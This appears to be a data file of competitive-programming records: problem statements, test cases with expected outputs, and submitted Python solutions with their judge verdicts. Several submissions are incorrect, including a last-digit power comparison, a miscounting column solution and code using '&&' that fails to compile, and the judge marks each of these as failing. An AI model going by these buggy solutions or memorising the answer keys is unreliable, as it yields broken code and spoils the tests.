Year 2118. Androids are in mass production for decades now, and they do all the work for humans. But androids have to go to school to be able to solve creative tasks. Just like humans before. It turns out that high school struggles are not gone. If someone is not like others, he is bullied. Vasya-8800 is an economy-class android which is produced by a little-known company. His design is not perfect, his characteristics also could be better. So he is bullied by other androids. One of the popular pranks on Vasya is to force him to compare $x^y$ with $y^x$. Other androids can do it in milliseconds while Vasya's memory is too small to store such big numbers. Please help Vasya! Write a fast program to compare $x^y$ with $y^x$ for Vasya, maybe then other androids will respect him.
On the only line of input there are two integers $x$ and $y$ ($1 \le x, y \le 10^{9}$).
If $x^y &lt; y^x$, then print '&lt;' (without quotes). If $x^y &gt; y^x$, then print '&gt;' (without quotes). If $x^y = y^x$, then print '=' (without quotes).
[ "5 8\n", "10 3\n", "6 6\n" ]
[ "&gt;\n", "&lt;\n", "=\n" ]
In the first example $5^8 = 5 \cdot 5 \cdot 5 \cdot 5 \cdot 5 \cdot 5 \cdot 5 \cdot 5 = 390625$, and $8^5 = 8 \cdot 8 \cdot 8 \cdot 8 \cdot 8 = 32768$. So you should print '&gt;'. In the second example $10^3 = 1000 &lt; 3^{10} = 59049$. In the third example $6^6 = 46656 = 6^6$.
1,000
[ { "input": "5 8", "output": ">" }, { "input": "10 3", "output": "<" }, { "input": "6 6", "output": "=" }, { "input": "14 1", "output": ">" }, { "input": "2 4", "output": "=" }, { "input": "987654321 123456987", "output": "<" }, { "input": "1 10", "output": "<" }, { "input": "9 1", "output": ">" }, { "input": "1 1", "output": "=" }, { "input": "2 2", "output": "=" }, { "input": "3 3", "output": "=" }, { "input": "4 4", "output": "=" }, { "input": "5 5", "output": "=" }, { "input": "2 3", "output": "<" }, { "input": "2 5", "output": ">" }, { "input": "3 2", "output": ">" }, { "input": "3 4", "output": ">" }, { "input": "3 5", "output": ">" }, { "input": "4 2", "output": "=" }, { "input": "4 3", "output": "<" }, { "input": "4 5", "output": ">" }, { "input": "5 2", "output": "<" }, { "input": "5 3", "output": "<" }, { "input": "5 4", "output": "<" }, { "input": "100 101", "output": ">" }, { "input": "876543 372647", "output": "<" }, { "input": "1000000000 999999999", "output": "<" }, { "input": "1000000000 2", "output": "<" }, { "input": "1000000000 1", "output": ">" }, { "input": "987654321 123456789", "output": "<" }, { "input": "1000000000 1000000000", "output": "=" }, { "input": "4359435 4396510", "output": ">" }, { "input": "25936809 25936809", "output": "=" }, { "input": "53602896 3", "output": "<" }, { "input": "13208659 1", "output": ">" }, { "input": "620537015 620537016", "output": ">" }, { "input": "56498103 56498102", "output": "<" }, { "input": "4 1000000000", "output": ">" }, { "input": "11 15", "output": ">" }, { "input": "2 6", "output": ">" }, { "input": "1 100", "output": "<" }, { "input": "3 9", "output": ">" }, { "input": "5 25", "output": ">" }, { "input": "17 18", "output": ">" }, { "input": "100 99", "output": "<" }, { "input": "10000035 1000432", "output": "<" }, { "input": "27 3", "output": "<" }, { "input": "15657413 15657414", "output": ">" } ]
1,589,074,201
2,147,483,647
Python 3
WRONG_ANSWER
TESTS
6
93
6,656,000
x,y=map(int,input().split()) c=x%10; d=y%10; if pow(int(c),int(d))==pow(int(d),int(c)): print('=') elif pow(int(c),int(d))>pow(int(d),int(c)): print('>') elif pow(int(c),int(d))<pow(int(d),int(c)): print('<')
Title: High School: Become Human Time Limit: None seconds Memory Limit: None megabytes Problem Description: Year 2118. Androids are in mass production for decades now, and they do all the work for humans. But androids have to go to school to be able to solve creative tasks. Just like humans before. It turns out that high school struggles are not gone. If someone is not like others, he is bullied. Vasya-8800 is an economy-class android which is produced by a little-known company. His design is not perfect, his characteristics also could be better. So he is bullied by other androids. One of the popular pranks on Vasya is to force him to compare $x^y$ with $y^x$. Other androids can do it in milliseconds while Vasya's memory is too small to store such big numbers. Please help Vasya! Write a fast program to compare $x^y$ with $y^x$ for Vasya, maybe then other androids will respect him. Input Specification: On the only line of input there are two integers $x$ and $y$ ($1 \le x, y \le 10^{9}$). Output Specification: If $x^y &lt; y^x$, then print '&lt;' (without quotes). If $x^y &gt; y^x$, then print '&gt;' (without quotes). If $x^y = y^x$, then print '=' (without quotes). Demo Input: ['5 8\n', '10 3\n', '6 6\n'] Demo Output: ['&gt;\n', '&lt;\n', '=\n'] Note: In the first example $5^8 = 5 \cdot 5 \cdot 5 \cdot 5 \cdot 5 \cdot 5 \cdot 5 \cdot 5 = 390625$, and $8^5 = 8 \cdot 8 \cdot 8 \cdot 8 \cdot 8 = 32768$. So you should print '&gt;'. In the second example $10^3 = 1000 &lt; 3^{10} = 59049$. In the third example $6^6 = 46656 = 6^6$.
```python x,y=map(int,input().split()) c=x%10; d=y%10; if pow(int(c),int(d))==pow(int(d),int(c)): print('=') elif pow(int(c),int(d))>pow(int(d),int(c)): print('>') elif pow(int(c),int(d))<pow(int(d),int(c)): print('<') ```
0
12
B
Correct Solution?
PROGRAMMING
1,100
[ "implementation", "sortings" ]
B. Correct Solution?
2
256
One cold winter evening Alice and her older brother Bob was sitting at home near the fireplace and giving each other interesting problems to solve. When it was Alice's turn, she told the number *n* to Bob and said: —Shuffle the digits in this number in order to obtain the smallest possible number without leading zeroes. —No problem! — said Bob and immediately gave her an answer. Alice said a random number, so she doesn't know whether Bob's answer is correct. Help her to find this out, because impatient brother is waiting for the verdict.
The first line contains one integer *n* (0<=≤<=*n*<=≤<=109) without leading zeroes. The second lines contains one integer *m* (0<=≤<=*m*<=≤<=109) — Bob's answer, possibly with leading zeroes.
Print OK if Bob's answer is correct and WRONG_ANSWER otherwise.
[ "3310\n1033\n", "4\n5\n" ]
[ "OK\n", "WRONG_ANSWER\n" ]
none
0
[ { "input": "3310\n1033", "output": "OK" }, { "input": "4\n5", "output": "WRONG_ANSWER" }, { "input": "40\n04", "output": "WRONG_ANSWER" }, { "input": "12\n12", "output": "OK" }, { "input": "432\n234", "output": "OK" }, { "input": "17109\n01179", "output": "WRONG_ANSWER" }, { "input": "888\n888", "output": "OK" }, { "input": "912\n9123", "output": "WRONG_ANSWER" }, { "input": "0\n00", "output": "WRONG_ANSWER" }, { "input": "11110\n1111", "output": "WRONG_ANSWER" }, { "input": "7391\n1397", "output": "WRONG_ANSWER" }, { "input": "201\n102", "output": "OK" }, { "input": "111111111\n111111111", "output": "OK" }, { "input": "32352320\n22203335", "output": "WRONG_ANSWER" }, { "input": "1000000000\n1", "output": "WRONG_ANSWER" }, { "input": "994321\n123499", "output": "OK" }, { "input": "10101\n10101", "output": "WRONG_ANSWER" }, { "input": "666\n0666", "output": "WRONG_ANSWER" }, { "input": "2\n02", "output": "WRONG_ANSWER" }, { "input": "313\n133", "output": "OK" }, { "input": "987235645\n234556789", "output": "OK" }, { "input": "90812\n010289", "output": "WRONG_ANSWER" }, { "input": "123\n321", "output": "WRONG_ANSWER" }, { "input": "707\n770", "output": "WRONG_ANSWER" }, { "input": "77774444\n47474747", "output": "WRONG_ANSWER" }, { "input": "1270\n1027", "output": "OK" }, { "input": "320\n23", "output": "WRONG_ANSWER" }, { "input": "123456789\n123456789", "output": "OK" }, { "input": "918273645\n546372819", "output": "WRONG_ANSWER" }, { "input": "300000003\n30000003", "output": "WRONG_ANSWER" }, { "input": "0\n0", "output": "OK" }, { "input": "0\n7", "output": "WRONG_ANSWER" } ]
1,601,983,801
601
PyPy 3
OK
TESTS
32
310
0
import sys from array import array # noqa: F401 def input(): return sys.stdin.buffer.readline().decode('utf-8') s, t = input().rstrip(), input().rstrip() if len(s) == 1: print('OK' if s == t else 'WRONG_ANSWER') exit() cnt = [0] * 10 for c in s: cnt[int(c)] += 1 ans = '' for i in range(len(s)): if i > 0 and cnt[0]: ans += '0' cnt[0] -= 1 else: for j in range(1, 10): if cnt[j]: ans += str(j) cnt[j] -= 1 break print('OK' if ans == t else 'WRONG_ANSWER')
Title: Correct Solution? Time Limit: 2 seconds Memory Limit: 256 megabytes Problem Description: One cold winter evening Alice and her older brother Bob was sitting at home near the fireplace and giving each other interesting problems to solve. When it was Alice's turn, she told the number *n* to Bob and said: —Shuffle the digits in this number in order to obtain the smallest possible number without leading zeroes. —No problem! — said Bob and immediately gave her an answer. Alice said a random number, so she doesn't know whether Bob's answer is correct. Help her to find this out, because impatient brother is waiting for the verdict. Input Specification: The first line contains one integer *n* (0<=≤<=*n*<=≤<=109) without leading zeroes. The second lines contains one integer *m* (0<=≤<=*m*<=≤<=109) — Bob's answer, possibly with leading zeroes. Output Specification: Print OK if Bob's answer is correct and WRONG_ANSWER otherwise. Demo Input: ['3310\n1033\n', '4\n5\n'] Demo Output: ['OK\n', 'WRONG_ANSWER\n'] Note: none
```python import sys from array import array # noqa: F401 def input(): return sys.stdin.buffer.readline().decode('utf-8') s, t = input().rstrip(), input().rstrip() if len(s) == 1: print('OK' if s == t else 'WRONG_ANSWER') exit() cnt = [0] * 10 for c in s: cnt[int(c)] += 1 ans = '' for i in range(len(s)): if i > 0 and cnt[0]: ans += '0' cnt[0] -= 1 else: for j in range(1, 10): if cnt[j]: ans += str(j) cnt[j] -= 1 break print('OK' if ans == t else 'WRONG_ANSWER') ```
3.9225
496
C
Removing Columns
PROGRAMMING
1,500
[ "brute force", "constructive algorithms", "implementation" ]
null
null
You are given an *n*<=×<=*m* rectangular table consisting of lower case English letters. In one operation you can completely remove one column from the table. The remaining parts are combined forming a new table. For example, after removing the second column from the table   we obtain the table:   A table is called good if its rows are ordered from top to bottom lexicographically, i.e. each row is lexicographically no larger than the following one. Determine the minimum number of operations of removing a column needed to make a given table good.
The first line contains two integers  — *n* and *m* (1<=≤<=*n*,<=*m*<=≤<=100). Next *n* lines contain *m* small English letters each — the characters of the table.
Print a single number — the minimum number of columns that you need to remove in order to make the table good.
[ "1 10\ncodeforces\n", "4 4\ncase\ncare\ntest\ncode\n", "5 4\ncode\nforc\nesco\ndefo\nrces\n" ]
[ "0\n", "2\n", "4\n" ]
In the first sample the table is already good. In the second sample you may remove the first and third column. In the third sample you have to remove all the columns (note that the table where all rows are empty is considered good by definition). Let strings *s* and *t* have equal length. Then, *s* is lexicographically larger than *t* if they are not equal and the character following the largest common prefix of *s* and *t* (the prefix may be empty) in *s* is alphabetically larger than the corresponding character of *t*.
1,750
[ { "input": "1 10\ncodeforces", "output": "0" }, { "input": "4 4\ncase\ncare\ntest\ncode", "output": "2" }, { "input": "5 4\ncode\nforc\nesco\ndefo\nrces", "output": "4" }, { "input": "2 2\nfb\nye", "output": "0" }, { "input": "5 5\nrzrzh\nrzrzh\nrzrzh\nrzrzh\nrzrzh", "output": "0" }, { "input": "10 10\nddorannorz\nmdrnzqvqgo\ngdtdjmlsuf\neoxbrntqdp\nhribwlslgo\newlqrontvk\nnxibmnawnh\nvxiwdjvdom\nhyhhewmzmp\niysgvzayst", "output": "1" }, { "input": "9 7\nygqartj\nlgwxlqv\nancjjpr\nwnnhkpx\ncnnhvty\nxsfrbqp\nxsolyne\nbsoojiq\nxstetjb", "output": "1" }, { "input": "4 50\nulkteempxafxafcvfwmwhsixwzgbmubcqqceevbbwijeerqbsj\neyqxsievaratndjoekltlqwppfgcukjwxdxexhejbfhzklppkk\npskatxpbjdbmjpwhussetytneohgzxgirluwnbraxtxmaupuid\neappatavdzktqlrjqttmwwroathnulubpjgsjazcycecwmxwvn", "output": "20" }, { "input": "5 50\nvlrkwhvbigkhihwqjpvmohdsszvndheqlmdsspkkxxiedobizr\nmhnzwdefqmttclfxocdmvvtdjtvqhmdllrtrrlnewuqowmtrmp\nrihlhxrqfhpcddslxepesvjqmlqgwyehvxjcsytevujfegeewh\nqrdyiymanvbdjomyruspreihahjhgkcixwowfzczundxqydldq\nkgnrbjlrmkuoiuzeiqwhnyjpuzfnsinqiamlnuzksrdnlvaxjd", "output": "50" }, { "input": "100 1\ni\ni\ni\ni\ni\ni\ni\ni\ni\ni\ni\ni\ni\ni\ni\ni\ni\ni\ni\ni\ni\ni\ni\ni\ni\ni\ni\ni\ni\nv\nv\nv\nv\nv\nv\nv\nv\nv\nv\nv\nv\nv\nv\nv\nv\nv\nv\nv\nv\nv\nv\nv\nv\nv\nv\nv\nv\nv\nv\nv\nv\nv\nv\nx\nx\nx\nx\nx\nx\nx\nx\nx\nx\nx\nx\nx\nx\nx\nx\nx\nx\nx\nx\nx\nx\nx\nx\nx\nx\nx\nx\nx\nx\nx\nx\nx\nx\nx\nx\nx", "output": "0" }, { "input": "1 100\nteloaetuldspjqdlcktjlishwynmjjhlomvemhoyyplbltfwmrlnazbbjvyvwvoxjvvoadkznvxqubgwesoxrznvbdizjdzixecb", "output": "0" }, { "input": "4 100\ngdgmmejiigzsmlarrnfsypvlbutvoxazcigpcospgztqkowfhhbnnbxxrbmwbxwkvxlxzabjjjdtbebedukdelooqlxnadjwjpnp\ndmtsnsbsfdzqvydxcdcnkkfcbseicxhvclsligbhqlkccwujpirymoshkqcosbtlxdypsdqkqaolrqtiibymavcwmbfryttdckhw\njtdmpdljcpciuuoznvqqmafvoqychzfslmwqouuarxctunlzegxsucrwontjplkkxhgixgdbvnewphnatxnwqxqshcexpxlyjuwq\nvhdtvexkyhjmahejbhyfeaompjkdvxmbtdbmvrxrixhnkkjgyvfbxlviatbikfejnqhkrtafftmsgyznpsfxsnzaqdzhxridzilo", "output": "4" }, { "input": "5 2\nab\ndc\ngd\ngc\nhx", "output": "1" }, { "input": "2 1\nb\na", "output": "1" }, { "input": "4 3\nabd\nacc\nbdx\nbcy", "output": "2" }, { "input": "4 2\nad\nac\nbd\nbc", "output": "1" }, { "input": "3 3\naac\nabb\nbba", "output": "0" }, { "input": "3 3\nadc\nbdb\ncda", "output": "0" }, { "input": "4 3\nabz\ndby\ngbx\nhbw", "output": "0" }, { "input": "3 3\naac\nbab\ncaa", "output": "0" }, { "input": "5 6\naaaeaa\nababab\nacacac\nadadad\naeaeae", "output": "0" }, { "input": "3 2\naa\nbc\nba", "output": "1" }, { "input": "3 3\naaz\ndaa\nbaa", "output": "2" }, { "input": "3 3\nabc\nbbb\ncba", "output": "0" }, { "input": "2 3\naxc\nbxa", "output": "0" } ]
1,595,870,605
2,147,483,647
Python 3
WRONG_ANSWER
TESTS
0
77
6,656,000
n, m = [int(x) for x in input().split()] rs = [input() for _ in range(n)] rss = list(zip(*rs)) print(sum(1 for x in rss if ''.join(sorted(x)) != x))
Title: Removing Columns Time Limit: None seconds Memory Limit: None megabytes Problem Description: You are given an *n*<=×<=*m* rectangular table consisting of lower case English letters. In one operation you can completely remove one column from the table. The remaining parts are combined forming a new table. For example, after removing the second column from the table   we obtain the table:   A table is called good if its rows are ordered from top to bottom lexicographically, i.e. each row is lexicographically no larger than the following one. Determine the minimum number of operations of removing a column needed to make a given table good. Input Specification: The first line contains two integers  — *n* and *m* (1<=≤<=*n*,<=*m*<=≤<=100). Next *n* lines contain *m* small English letters each — the characters of the table. Output Specification: Print a single number — the minimum number of columns that you need to remove in order to make the table good. Demo Input: ['1 10\ncodeforces\n', '4 4\ncase\ncare\ntest\ncode\n', '5 4\ncode\nforc\nesco\ndefo\nrces\n'] Demo Output: ['0\n', '2\n', '4\n'] Note: In the first sample the table is already good. In the second sample you may remove the first and third column. In the third sample you have to remove all the columns (note that the table where all rows are empty is considered good by definition). Let strings *s* and *t* have equal length. Then, *s* is lexicographically larger than *t* if they are not equal and the character following the largest common prefix of *s* and *t* (the prefix may be empty) in *s* is alphabetically larger than the corresponding character of *t*.
```python n, m = [int(x) for x in input().split()] rs = [input() for _ in range(n)] rss = list(zip(*rs)) print(sum(1 for x in rss if ''.join(sorted(x)) != x)) ```
0
59
A
Word
PROGRAMMING
800
[ "implementation", "strings" ]
A. Word
2
256
Vasya is very upset that many people on the Net mix uppercase and lowercase letters in one word. That's why he decided to invent an extension for his favorite browser that would change the letters' register in every word so that it either only consisted of lowercase letters or, vice versa, only of uppercase ones. At that as little as possible letters should be changed in the word. For example, the word HoUse must be replaced with house, and the word ViP — with VIP. If a word contains an equal number of uppercase and lowercase letters, you should replace all the letters with lowercase ones. For example, maTRIx should be replaced by matrix. Your task is to use the given method on one given word.
The first line contains a word *s* — it consists of uppercase and lowercase Latin letters and possesses the length from 1 to 100.
Print the corrected word *s*. If the given word *s* has strictly more uppercase letters, make the word written in the uppercase register, otherwise - in the lowercase one.
[ "HoUse\n", "ViP\n", "maTRIx\n" ]
[ "house\n", "VIP\n", "matrix\n" ]
none
500
[ { "input": "HoUse", "output": "house" }, { "input": "ViP", "output": "VIP" }, { "input": "maTRIx", "output": "matrix" }, { "input": "BNHWpnpawg", "output": "bnhwpnpawg" }, { "input": "VTYGP", "output": "VTYGP" }, { "input": "CHNenu", "output": "chnenu" }, { "input": "ERPZGrodyu", "output": "erpzgrodyu" }, { "input": "KSXBXWpebh", "output": "KSXBXWPEBH" }, { "input": "qvxpqullmcbegsdskddortcvxyqlbvxmmkhevovnezubvpvnrcajpxraeaxizgaowtfkzywvhnbgzsxbhkaipcmoumtikkiyyaiv", "output": "qvxpqullmcbegsdskddortcvxyqlbvxmmkhevovnezubvpvnrcajpxraeaxizgaowtfkzywvhnbgzsxbhkaipcmoumtikkiyyaiv" }, { "input": "Amnhaxtaopjzrkqlbroiyipitndczpunwygstmzevgyjdzyanxkdqnvgkikfabwouwkkbzuiuvgvxgpizsvqsbwepktpdrgdkmfd", "output": "amnhaxtaopjzrkqlbroiyipitndczpunwygstmzevgyjdzyanxkdqnvgkikfabwouwkkbzuiuvgvxgpizsvqsbwepktpdrgdkmfd" }, { "input": "ISAGFJFARYFBLOPQDSHWGMCNKMFTLVFUGNJEWGWNBLXUIATXEkqiettmmjgydwcpafqrppdsrrrtguinqbgmzzfqwonkpgpcwenv", "output": "isagfjfaryfblopqdshwgmcnkmftlvfugnjewgwnblxuiatxekqiettmmjgydwcpafqrppdsrrrtguinqbgmzzfqwonkpgpcwenv" }, { "input": "XHRPXZEGHSOCJPICUIXSKFUZUPYTSGJSDIYBCMNMNBPNDBXLXBzhbfnqvwcffvrdhtickyqhupmcehlsyvncqmfhautvxudqdhgg", "output": "xhrpxzeghsocjpicuixskfuzupytsgjsdiybcmnmnbpndbxlxbzhbfnqvwcffvrdhtickyqhupmcehlsyvncqmfhautvxudqdhgg" }, { "input": "RJIQZMJCIMSNDBOHBRAWIENODSALETAKGKPYUFGVEFGCBRENZGAdkcetqjljtmttlonpekcovdzebzdkzggwfsxhapmjkdbuceak", "output": "RJIQZMJCIMSNDBOHBRAWIENODSALETAKGKPYUFGVEFGCBRENZGADKCETQJLJTMTTLONPEKCOVDZEBZDKZGGWFSXHAPMJKDBUCEAK" }, { "input": "DWLWOBHNMMGTFOLFAECKBRNNGLYLYDXTGTVRLMEESZOIUATZZZXUFUZDLSJXMEVRTESSFBWLNZZCLCQWEVNNUCXYVHNGNXHCBDFw", "output": "DWLWOBHNMMGTFOLFAECKBRNNGLYLYDXTGTVRLMEESZOIUATZZZXUFUZDLSJXMEVRTESSFBWLNZZCLCQWEVNNUCXYVHNGNXHCBDFW" }, { "input": "NYCNHJWGBOCOTSPETKKHVWFGAQYNHOVJWJHCIEFOUQZXOYUIEQDZALFKTEHTVDBVJMEUBJUBCMNVPWGDPNCHQHZJRCHYRFPVIGUB", "output": "NYCNHJWGBOCOTSPETKKHVWFGAQYNHOVJWJHCIEFOUQZXOYUIEQDZALFKTEHTVDBVJMEUBJUBCMNVPWGDPNCHQHZJRCHYRFPVIGUB" }, { "input": "igxoixiecetohtgjgbqzvlaobkhstejxdklghowtvwunnnvauriohuspsdmpzckprwajyxldoyckgjivjpmbfqtszmtocovxwge", "output": "igxoixiecetohtgjgbqzvlaobkhstejxdklghowtvwunnnvauriohuspsdmpzckprwajyxldoyckgjivjpmbfqtszmtocovxwge" }, { "input": "Ykkekrsqolzryiwsmdlnbmfautxxxauoojrddvwklgnlyrfcvhorrzbmtcrvpaypqhcffdqhwziipyyskcmztjprjqvmzzqhqnw", "output": "ykkekrsqolzryiwsmdlnbmfautxxxauoojrddvwklgnlyrfcvhorrzbmtcrvpaypqhcffdqhwziipyyskcmztjprjqvmzzqhqnw" }, { "input": "YQOMLKYAORUQQUCQZCDYMIVDHGWZFFRMUVTAWCHERFPMNRYRIkgqrciokgajamehmcxgerpudvsqyonjonsxgbnefftzmygncks", "output": "yqomlkyaoruqqucqzcdymivdhgwzffrmuvtawcherfpmnryrikgqrciokgajamehmcxgerpudvsqyonjonsxgbnefftzmygncks" }, { "input": "CDOZDPBVVVHNBJVBYHEOXWFLJKRWJCAJMIFCOZWWYFKVWOGTVJcuusigdqfkumewjtdyitveeiaybwrhomrwmpdipjwiuxfnwuz", "output": "CDOZDPBVVVHNBJVBYHEOXWFLJKRWJCAJMIFCOZWWYFKVWOGTVJCUUSIGDQFKUMEWJTDYITVEEIAYBWRHOMRWMPDIPJWIUXFNWUZ" }, { "input": "WHIUVEXHVOOIJIDVJVPQUBJMEVPMPDKQWJKFBZSGSKUXMIPPMJWuckzcpxosodcjaaakvlxpbiigsiauviilylnnqlyucziihqg", "output": "WHIUVEXHVOOIJIDVJVPQUBJMEVPMPDKQWJKFBZSGSKUXMIPPMJWUCKZCPXOSODCJAAAKVLXPBIIGSIAUVIILYLNNQLYUCZIIHQG" }, { "input": "VGHUNFOXKETUYMZDJNGTAOIOANYXSGYNFOGOFFLDAWEUKYFOZXCJTCAFXZYLQZERYZLRSQXYQGAPCSUDPMEYTNCTTTMFAGVDWBO", "output": "VGHUNFOXKETUYMZDJNGTAOIOANYXSGYNFOGOFFLDAWEUKYFOZXCJTCAFXZYLQZERYZLRSQXYQGAPCSUDPMEYTNCTTTMFAGVDWBO" }, { "input": "EDUANHCQDOCJHFONTTSWBUJSTTIXBIXMAIUFSGFLXWAYIURTVAVZPYQDLAWIGCLMPHXCEFCJPFAAHXVNGQUFNHADAIUAZIDMHDd", "output": "EDUANHCQDOCJHFONTTSWBUJSTTIXBIXMAIUFSGFLXWAYIURTVAVZPYQDLAWIGCLMPHXCEFCJPFAAHXVNGQUFNHADAIUAZIDMHDD" }, { "input": "EBWOVSNLYTWWXrnovgugogtjahnmatomubebyxakas", "output": "ebwovsnlytwwxrnovgugogtjahnmatomubebyxakas" }, { "input": "AORNNDKTRLRVGDPXJKXFTPFpopuzrlqumrxssskvbm", "output": "AORNNDKTRLRVGDPXJKXFTPFPOPUZRLQUMRXSSSKVBM" }, { "input": "DBBZJCWQEVGYHEEUHJAWRHBDPsnplijbwtdibqrrheebfxqcvn", "output": "dbbzjcwqevgyheeuhjawrhbdpsnplijbwtdibqrrheebfxqcvn" }, { "input": "t", "output": "t" }, { "input": "N", "output": "N" }, { "input": "kv", "output": "kv" }, { "input": "Ur", "output": "ur" }, { "input": "CN", "output": "CN" } ]
1,663,687,784
2,147,483,647
Python 3
COMPILATION_ERROR
TESTS
0
0
0
s = input() u_cnt = 0 l_cnt = 0 for item in s: if ord(item) >= 65 && ord(item) <= 90: u_cnt += 1 else: l_cnt += 1 if u_cnt > l_cnt: s = s.upper() else: s = s.lower()
Title: Word Time Limit: 2 seconds Memory Limit: 256 megabytes Problem Description: Vasya is very upset that many people on the Net mix uppercase and lowercase letters in one word. That's why he decided to invent an extension for his favorite browser that would change the letters' register in every word so that it either only consisted of lowercase letters or, vice versa, only of uppercase ones. At that as little as possible letters should be changed in the word. For example, the word HoUse must be replaced with house, and the word ViP — with VIP. If a word contains an equal number of uppercase and lowercase letters, you should replace all the letters with lowercase ones. For example, maTRIx should be replaced by matrix. Your task is to use the given method on one given word. Input Specification: The first line contains a word *s* — it consists of uppercase and lowercase Latin letters and possesses the length from 1 to 100. Output Specification: Print the corrected word *s*. If the given word *s* has strictly more uppercase letters, make the word written in the uppercase register, otherwise - in the lowercase one. Demo Input: ['HoUse\n', 'ViP\n', 'maTRIx\n'] Demo Output: ['house\n', 'VIP\n', 'matrix\n'] Note: none
```python s = input() u_cnt = 0 l_cnt = 0 for item in s: if ord(item) >= 65 && ord(item) <= 90: u_cnt += 1 else: l_cnt += 1 if u_cnt > l_cnt: s = s.upper() else: s = s.lower() ```
-1
0
none
none
none
0
[ "none" ]
null
null
You are given an array *a*1,<=*a*2,<=...,<=*a**n* consisting of *n* integers, and an integer *k*. You have to split the array into exactly *k* non-empty subsegments. You'll then compute the minimum integer on each subsegment, and take the maximum integer over the *k* obtained minimums. What is the maximum possible integer you can get? Definitions of subsegment and array splitting are given in notes.
The first line contains two integers *n* and *k* (1<=≤<=*k*<=≤<=*n*<=≤<=<=105) — the size of the array *a* and the number of subsegments you have to split the array to. The second line contains *n* integers *a*1,<=<=*a*2,<=<=...,<=<=*a**n* (<=-<=109<=<=≤<=<=*a**i*<=≤<=<=109).
Print single integer — the maximum possible integer you can get if you split the array into *k* non-empty subsegments and take maximum of minimums on the subsegments.
[ "5 2\n1 2 3 4 5\n", "5 1\n-4 -5 -3 -2 -1\n" ]
[ "5\n", "-5\n" ]
A subsegment [*l*,  *r*] (*l* ≤ *r*) of array *a* is the sequence *a*<sub class="lower-index">*l*</sub>,  *a*<sub class="lower-index">*l* + 1</sub>,  ...,  *a*<sub class="lower-index">*r*</sub>. Splitting of array *a* of *n* elements into *k* subsegments [*l*<sub class="lower-index">1</sub>, *r*<sub class="lower-index">1</sub>], [*l*<sub class="lower-index">2</sub>, *r*<sub class="lower-index">2</sub>], ..., [*l*<sub class="lower-index">*k*</sub>, *r*<sub class="lower-index">*k*</sub>] (*l*<sub class="lower-index">1</sub> = 1, *r*<sub class="lower-index">*k*</sub> = *n*, *l*<sub class="lower-index">*i*</sub> = *r*<sub class="lower-index">*i* - 1</sub> + 1 for all *i* &gt; 1) is *k* sequences (*a*<sub class="lower-index">*l*<sub class="lower-index">1</sub></sub>, ..., *a*<sub class="lower-index">*r*<sub class="lower-index">1</sub></sub>), ..., (*a*<sub class="lower-index">*l*<sub class="lower-index">*k*</sub></sub>, ..., *a*<sub class="lower-index">*r*<sub class="lower-index">*k*</sub></sub>). In the first example you should split the array into subsegments [1, 4] and [5, 5] that results in sequences (1, 2, 3, 4) and (5). The minimums are *min*(1, 2, 3, 4) = 1 and *min*(5) = 5. The resulting maximum is *max*(1, 5) = 5. It is obvious that you can't reach greater result. In the second example the only option you have is to split the array into one subsegment [1, 5], that results in one sequence ( - 4,  - 5,  - 3,  - 2,  - 1). The only minimum is *min*( - 4,  - 5,  - 3,  - 2,  - 1) =  - 5. The resulting maximum is  - 5.
0
[ { "input": "5 2\n1 2 3 4 5", "output": "5" }, { "input": "5 1\n-4 -5 -3 -2 -1", "output": "-5" }, { "input": "10 2\n10 9 1 -9 -7 -9 3 8 -10 5", "output": "10" }, { "input": "10 4\n-8 -1 2 -3 9 -8 4 -3 5 9", "output": "9" }, { "input": "1 1\n504262064", "output": "504262064" }, { "input": "3 3\n-54481850 -878017339 -486296116", "output": "-54481850" }, { "input": "2 2\n-333653905 224013643", "output": "224013643" }, { "input": "14 2\n-14 84 44 46 -75 -75 77 -49 44 -82 -74 -51 -9 -50", "output": "-14" }, { "input": "88 71\n-497 -488 182 104 40 183 201 282 -384 44 -29 494 224 -80 -491 -197 157 130 -52 233 -426 252 -61 -51 203 -50 195 -442 -38 385 232 -243 -49 163 340 -200 406 -254 -29 227 -194 193 487 -325 230 146 421 158 20 447 -97 479 493 -130 164 -471 -198 -330 -152 359 -554 319 544 -444 235 281 -467 337 -385 227 -366 -210 266 69 -261 525 526 -234 -355 177 109 275 -301 7 -41 553 -284 540", "output": "553" }, { "input": "39 1\n676941771 -923780377 -163050076 -230110947 -208029500 329620771 13954060 158950156 -252501602 926390671 -678745080 -921892226 -100127643 610420285 602175224 -839193819 471391946 910035173 777969600 -736144413 -489685522 60986249 830784148 278642552 -375298304 197973611 -354482364 187294011 636628282 25350767 636184407 -550869740 53830680 -42049274 -451383278 900048257 93225803 877923341 -279506435", "output": "-923780377" }, { "input": "3 2\n1 5 3", "output": "3" }, { "input": "5 2\n1 2 5 4 3", "output": "3" }, { "input": "3 2\n1 3 2", "output": "2" }, { "input": "3 2\n1 3 1", "output": "1" }, { "input": "5 3\n-2 -2 -2 -2 -2", "output": "-2" }, { "input": "5 2\n1 2 3 5 4", "output": "4" }, { "input": "5 2\n1 1 11 1 1", "output": "1" }, { "input": "3 3\n3 8 4", "output": "8" }, { "input": "6 3\n4 3 1 5 6 2", "output": "6" }, { "input": "2 1\n1 2", "output": "1" }, { "input": "5 2\n2 5 4 3 1", "output": "2" }, { "input": "5 2\n-1 1 5 4 3", "output": "3" }, { "input": "5 2\n5 2 1 9 3", "output": "5" }, { "input": "2 1\n1000000000 1000000000", "output": "1000000000" }, { "input": "1 1\n1000000000", "output": "1000000000" }, { "input": "5 2\n1 5 3 4 1", "output": "1" }, { "input": "3 2\n-1000000000 -1000000000 -1000000000", "output": "-1000000000" }, { "input": "2 2\n5 2", "output": "5" }, { "input": "7 3\n1 1 1 10 1 1 1", "output": "10" }, { "input": "9 3\n1 2 1 1 5 1 1 1 2", "output": "5" }, { "input": "9 3\n2 2 2 2 9 2 2 2 2", "output": "9" }, { "input": "3 3\n-1000000000 -1000000000 -1000000000", "output": "-1000000000" } ]
1,508,055,700
1,000
Python 3
CHALLENGED
CHALLENGES
8
93
8,601,600
n, k = map(int, input().split()) a = list(map(int, input().split())) if k >= 3: print(max(a)) elif k == 2: h = float('-inf') for j in range(1, len(a)): h = max(h, max(min(a[:j]), min(a[j:]))) print(h) elif k == 1: print(min(a))
